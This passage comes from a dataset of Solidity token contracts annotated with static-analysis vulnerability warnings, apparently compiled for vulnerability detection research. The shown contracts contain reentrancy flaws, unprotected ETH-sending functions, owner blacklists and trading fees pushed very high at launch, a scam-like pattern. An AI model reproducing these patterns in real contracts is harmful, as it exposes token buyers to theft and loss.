}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa664ba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa664ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dec3c9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dec3c9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fa664ba\n\t\t// reentrancy-benign | ID: dec3c9a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fa664ba\n\t\t// reentrancy-benign | ID: dec3c9a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff5c05b): DTRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff5c05b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dec3c9a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fa664ba\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b1f9a32): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b1f9a32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5e84cf9): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 5e84cf9: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2865469): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2865469: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 5e84cf9\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n require(\n block.number > lastExecutedBlockNumber,\n \"Exceeds the maxWalletSize.\"\n );\n\n\t\t\t\t// reentrancy-events | ID: b1f9a32\n\t\t\t\t// reentrancy-eth | ID: 2865469\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b1f9a32\n\t\t\t\t\t// reentrancy-eth | ID: 2865469\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2865469\n lastExecutedBlockNumber = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2865469\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b1f9a32\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2865469\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2865469\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b1f9a32\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fa664ba\n\t\t// reentrancy-events | ID: b1f9a32\n\t\t// reentrancy-benign | ID: dec3c9a\n\t\t// reentrancy-eth | ID: 2865469\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 05755cc): DTRUMP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 05755cc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fa664ba\n\t\t// reentrancy-events | ID: b1f9a32\n\t\t// reentrancy-eth | ID: 2865469\n\t\t// arbitrary-send-eth | ID: 05755cc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 618c962): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 618c962: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 96543cb): DTRUMP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 96543cb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8bc77d9): DTRUMP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8bc77d9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9fd22ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9fd22ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 618c962\n\t\t// reentrancy-eth | ID: 9fd22ae\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 618c962\n\t\t// unused-return | ID: 8bc77d9\n\t\t// reentrancy-eth | ID: 9fd22ae\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 618c962\n\t\t// unused-return | ID: 96543cb\n\t\t// reentrancy-eth | ID: 9fd22ae\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 618c962\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9fd22ae\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10336.sol", "size_bytes": 20701, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n authorizations[_owner] = true;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n mapping(address => bool) internal authorizations;\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IDEXRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface InterfaceLP {\n function sync() external;\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract token1488 is Ownable, ERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1adb4a9): token1488.WETH should be immutable \n\t// Recommendation for 1adb4a9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address WETH;\n\n address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address constant ZERO = 0x0000000000000000000000000000000000000000;\n\n string constant _name = \"1488\";\n\n string constant _symbol = \"1488\";\n\n uint8 constant _decimals = 9;\n\n event AutoLiquify(uint256 amountETH, uint256 amountTokens);\n\n event EditTax(uint8 Buy, uint8 Sell, uint8 Transfer);\n\n event user_exemptfromfees(address Wallet, bool Exempt);\n\n event user_TxExempt(address Wallet, bool Exempt);\n\n event ClearStuck(uint256 amount);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n event set_Receivers(\n address marketingFeeReceiver,\n address buybackFeeReceiver,\n address burnFeeReceiver,\n address devFeeReceiver\n );\n\n event set_MaxWallet(uint256 maxWallet);\n\n event set_MaxTX(uint256 maxTX);\n\n event set_SwapBack(uint256 Amount, bool Enabled);\n\n uint256 _totalSupply = 1488 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = _totalSupply.mul(1).div(100);\n\n uint256 public _maxWalletToken = _totalSupply.mul(1).div(100);\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isexemptfromfees;\n\n mapping(address => bool) isexemptfrommaxTX;\n\n uint256 private buybackFee = 0;\n\n uint256 private burnFee = 2;\n\n uint256 private marketingFee = 8;\n\n uint256 private devFee = 0;\n\n uint256 private liquidityFee = 0;\n\n uint256 public totalFee =\n buybackFee + marketingFee + liquidityFee + devFee + burnFee;\n\n uint256 private feeDenominator = 100;\n\n uint256 sellpercent = 100;\n\n uint256 buypercent = 100;\n\n uint256 transferpercent = 100;\n\n address private autoLiquidityReceiver;\n\n address private marketingFeeReceiver;\n\n address private devFeeReceiver;\n\n address private buybackFeeReceiver;\n\n address private burnFeeReceiver;\n\n\t// WARNING Optimization Issue (constable-states | ID: 917022f): token1488.setRatio should be constant \n\t// Recommendation for 917022f: Add the 'constant' attribute to state variables that never change.\n uint256 setRatio = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40dc799): token1488.setRatioDenominator should be constant \n\t// Recommendation for 40dc799: Add the 'constant' attribute to state variables that never change.\n uint256 setRatioDenominator = 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: db8e9ae): token1488.router should be immutable \n\t// Recommendation for db8e9ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDEXRouter public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 668d7cf): token1488.pairContract should be immutable \n\t// Recommendation for 668d7cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n InterfaceLP private pairContract;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f34619): token1488.pair should be immutable \n\t// Recommendation for 6f34619: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool public TradingOpen = false;\n\n bool public swapEnabled = true;\n\n uint256 public swapThreshold = (_totalSupply * 7) / 1000;\n\n bool inSwap;\n\n modifier swapping() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n WETH = router.WETH();\n\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n pairContract = InterfaceLP(pair);\n\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n isexemptfromfees[msg.sender] = true;\n\n isexemptfrommaxTX[msg.sender] = true;\n\n isexemptfrommaxTX[pair] = true;\n\n isexemptfrommaxTX[marketingFeeReceiver] = true;\n\n isexemptfrommaxTX[address(this)] = true;\n\n autoLiquidityReceiver = msg.sender;\n\n marketingFeeReceiver = msg.sender;\n\n devFeeReceiver = msg.sender;\n\n buybackFeeReceiver = msg.sender;\n\n burnFeeReceiver = DEAD;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function approveMax(address spender) external returns (bool) {\n return approve(spender, type(uint256).max);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n function maxWalletRule(uint256 maxWallPercent) external onlyOwner {\n require(maxWallPercent >= 1);\n\n _maxWalletToken = (_totalSupply * maxWallPercent) / 1000;\n\n emit set_MaxWallet(_maxWalletToken);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n\n _maxWalletToken = _totalSupply;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 523bfc2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 523bfc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2734b37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2734b37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!authorizations[sender] && !authorizations[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (\n !authorizations[sender] &&\n recipient != address(this) &&\n recipient != address(DEAD) &&\n recipient != pair &&\n recipient != burnFeeReceiver &&\n recipient != marketingFeeReceiver &&\n !isexemptfrommaxTX[recipient]\n ) {\n uint256 heldTokens = balanceOf(recipient);\n\n require(\n (heldTokens + amount) <= _maxWalletToken,\n \"Total Holding is currently limited, you can not buy that much.\"\n );\n }\n\n checkTxLimit(sender, amount);\n\n if (shouldSwapBack()) {\n\t\t\t// reentrancy-events | ID: 523bfc2\n\t\t\t// reentrancy-eth | ID: 2734b37\n swapBack();\n }\n\n\t\t// reentrancy-eth | ID: 2734b37\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-events | ID: 523bfc2\n\t\t// reentrancy-eth | ID: 2734b37\n uint256 amountReceived = (isexemptfromfees[sender] ||\n isexemptfromfees[recipient])\n ? amount\n : takeFee(sender, amount, recipient);\n\n\t\t// reentrancy-eth | ID: 2734b37\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\n\t\t// reentrancy-events | ID: 523bfc2\n emit Transfer(sender, recipient, amountReceived);\n\n return true;\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function checkTxLimit(address sender, uint256 amount) internal view {\n require(\n amount <= _maxTxAmount || isexemptfrommaxTX[sender],\n \"TX Limit Exceeded\"\n );\n }\n\n function shouldTakeFee(address sender) internal view returns (bool) {\n return !isexemptfromfees[sender];\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7a41c28): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 7a41c28: Consider ordering multiplication before division.\n function takeFee(\n address sender,\n uint256 amount,\n address recipient\n ) internal returns (uint256) {\n uint256 percent = transferpercent;\n\n if (recipient == pair) {\n percent = sellpercent;\n } else if (sender == pair) {\n percent = buypercent;\n }\n\n\t\t// divide-before-multiply | ID: 7a41c28\n uint256 feeAmount = amount.mul(totalFee).mul(percent).div(\n feeDenominator * 100\n );\n\n\t\t// divide-before-multiply | ID: 7a41c28\n uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);\n\n uint256 contractTokens = feeAmount.sub(burnTokens);\n\n\t\t// reentrancy-eth | ID: 2734b37\n _balances[address(this)] = _balances[address(this)].add(contractTokens);\n\n\t\t// reentrancy-eth | ID: 2734b37\n _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);\n\n\t\t// reentrancy-events | ID: 523bfc2\n emit Transfer(sender, address(this), contractTokens);\n\n if (burnTokens > 0) {\n\t\t\t// reentrancy-eth | ID: 2734b37\n _totalSupply = _totalSupply.sub(burnTokens);\n\n\t\t\t// reentrancy-events | ID: 523bfc2\n emit Transfer(sender, ZERO, burnTokens);\n }\n\n return amount.sub(feeAmount);\n }\n\n function shouldSwapBack() internal view returns (bool) {\n return\n msg.sender != pair &&\n !inSwap &&\n swapEnabled &&\n _balances[address(this)] >= swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4926917): token1488.manualSend() sends eth to arbitrary user Dangerous calls address(autoLiquidityReceiver).transfer(address(this).balance)\n\t// Recommendation for 4926917: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualSend() external {\n\t\t// arbitrary-send-eth | ID: 4926917\n payable(autoLiquidityReceiver).transfer(address(this).balance);\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n if (tokens == 0) {\n tokens = ERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return ERC20(tokenAddress).transfer(autoLiquidityReceiver, tokens);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 64d4c41): token1488.setStructure(uint256,uint256,uint256) should emit an event for sellpercent = _percentonsell buypercent = _percentonbuy transferpercent = _wallettransfer \n\t// Recommendation for 64d4c41: Emit an event for critical parameter changes.\n function setStructure(\n uint256 _percentonbuy,\n uint256 _percentonsell,\n uint256 _wallettransfer\n ) external onlyOwner {\n\t\t// events-maths | ID: 64d4c41\n sellpercent = _percentonsell;\n\n\t\t// events-maths | ID: 64d4c41\n buypercent = _percentonbuy;\n\n\t\t// events-maths | ID: 64d4c41\n transferpercent = _wallettransfer;\n }\n\n function startTrading() public onlyOwner {\n TradingOpen = true;\n\n buypercent = 150;\n\n sellpercent = 300;\n\n transferpercent = 690;\n }\n\n function reduceFee() public onlyOwner {\n buypercent = 50;\n\n sellpercent = 150;\n\n transferpercent = 345;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea4fdea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea4fdea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 12e3859): token1488.swapBack() ignores return value by router.addLiquidityETH{value amountETHLiquidity}(address(this),amountToLiquify,0,0,autoLiquidityReceiver,block.timestamp)\n\t// Recommendation for 12e3859: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 99fbc06): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 99fbc06: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: e25067a): token1488.swapBack().tmpSuccess is written in both (tmpSuccess,None) = address(devFeeReceiver).call{value amountETHdev}() (tmpSuccess,None) = address(buybackFeeReceiver).call{value amountETHbuyback}()\n\t// Recommendation for e25067a: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: d4d4e1d): token1488.swapBack().tmpSuccess is written in both (tmpSuccess,None) = address(buybackFeeReceiver).call{value amountETHbuyback}() tmpSuccess = false\n\t// Recommendation for d4d4e1d: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: e6adcf9): token1488.swapBack().tmpSuccess is written in both (tmpSuccess,None) = address(marketingFeeReceiver).call{value amountETHMarketing}() (tmpSuccess,None) = address(devFeeReceiver).call{value amountETHdev}()\n\t// Recommendation for e6adcf9: Fix or remove the writes.\n function swapBack() internal swapping {\n uint256 dynamicLiquidityFee = checkRatio(setRatio, setRatioDenominator)\n ? 0\n : liquidityFee;\n\n uint256 amountToLiquify = swapThreshold\n .mul(dynamicLiquidityFee)\n .div(totalFee)\n .div(2);\n\n uint256 amountToSwap = swapThreshold.sub(amountToLiquify);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\t\t// reentrancy-events | ID: ea4fdea\n\t\t// reentrancy-events | ID: 523bfc2\n\t\t// reentrancy-eth | ID: 2734b37\n\n uint256 balanceBefore = address(this).balance;\n\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 amountETH = address(this).balance.sub(balanceBefore);\n\n uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));\n\n uint256 amountETHLiquidity = amountETH\n .mul(dynamicLiquidityFee)\n .div(totalETHFee)\n .div(2);\n\n uint256 amountETHMarketing = amountETH.mul(marketingFee).div(\n totalETHFee\n );\n\n uint256 amountETHbuyback = amountETH.mul(buybackFee).div(totalETHFee);\n\t\t// reentrancy-events | ID: ea4fdea\n\t\t// reentrancy-events | ID: 523bfc2\n\n uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee);\n\t\t// write-after-write | ID: e6adcf9\n\n\t\t// reentrancy-eth | ID: 2734b37\n\t\t// arbitrary-send-eth | ID: 99fbc06\n (bool tmpSuccess, ) = payable(marketingFeeReceiver).call{\n value: amountETHMarketing\n }(\"\");\n\n\t\t// reentrancy-events | ID: ea4fdea\n\t\t// reentrancy-events | ID: 523bfc2\n\t\t// write-after-write | ID: e25067a\n\t\t// write-after-write | ID: e6adcf9\n\t\t// reentrancy-eth | ID: 2734b37\n\t\t// arbitrary-send-eth | ID: 99fbc06\n (tmpSuccess, ) = payable(devFeeReceiver).call{value: amountETHdev}(\"\");\n\n\t\t// reentrancy-events | ID: ea4fdea\n\t\t// reentrancy-events | ID: 523bfc2\n\t\t// write-after-write | ID: e25067a\n\t\t// write-after-write | ID: d4d4e1d\n\t\t// reentrancy-eth | ID: 2734b37\n\t\t// arbitrary-send-eth | ID: 99fbc06\n (tmpSuccess, ) = payable(buybackFeeReceiver).call{\n value: amountETHbuyback\n }(\"\");\n\n\t\t// write-after-write | ID: d4d4e1d\n tmpSuccess = false;\n\n if (amountToLiquify > 0) {\n\t\t\t// reentrancy-events | ID: ea4fdea\n\t\t\t// reentrancy-events | ID: 523bfc2\n\t\t\t// unused-return | ID: 